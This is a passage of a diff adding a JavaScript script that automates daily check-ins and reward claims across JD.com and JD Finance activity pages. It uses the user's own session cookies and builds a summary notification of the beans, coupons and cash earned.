'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + // JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + JDUserSignPre(stop, 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj') //京东超市 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + // await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj'); //京东超市 + await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第114行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; + const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; + const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; + const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); + const cookieSet = $nobyda.read(EnvInfo3); + if (DeleteCookie) { + const write = $nobyda.write("", EnvInfo3); + throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); + } else if ($nobyda.isRequest) { + GetCookie() + } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { + if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); + out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; + stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); + boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; + LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; + ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; + $nobyda.num = 0; + if (Key) await all(Key); + if (DualKey && DualKey !== Key) await all(DualKey); + if ((OtherKey || cookieSet || '[]') != '[]') { + try { + OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); + const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; + for (let i = 0; i < OtherKey.length; i++) { + const ck = OtherKey[i].cookie; + const jr = OtherKey[i].jrBody; + if (ck != Key && ck != DualKey) { + await all(ck, jr) + } + } + } catch (e) { + throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) + } + } + $nobyda.time(); + } else { + throw new Error('脚本终止, 未获取Cookie ‼️') + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongTurn(s) { + merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise((resolve, reject) => { + if (disable("JDTurn")) return reject() + const JDTUrl = { + url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data).data.lotteryCode + const Details = LogDetails ? "response:\n" + data : ''; + if (cc) { + console.log("\n" + "京东商城-转盘查询成功 " + Details) + return resolve(cc) + } else { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" + merge.JDTurn.fail = 1 + console.log("\n" + "京东商城-转盘查询失败 " + Details) + } + } + } catch (eor) { + $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) + } finally { + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JingDongTurnSign(s, data); + }, () => {}); +} + +function JingDongTurnSign(s, code) { + return new Promise(resolve => { + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=lotteryDraw&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%2C%22lotteryCode%22%3A%22${code}%22%7D&appid=ld`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/(京豆|\"910582\")/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += Number(cc.data.prizeSendNumber) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${cc.data.prizeSendNumber||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.data.chances != "0") { + await JingDongTurnSign(2000, code) + } + } else if (data.match(/未中奖/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.data.chances != "0") { + await JingDongTurnSign(2000, code) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(T215|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = 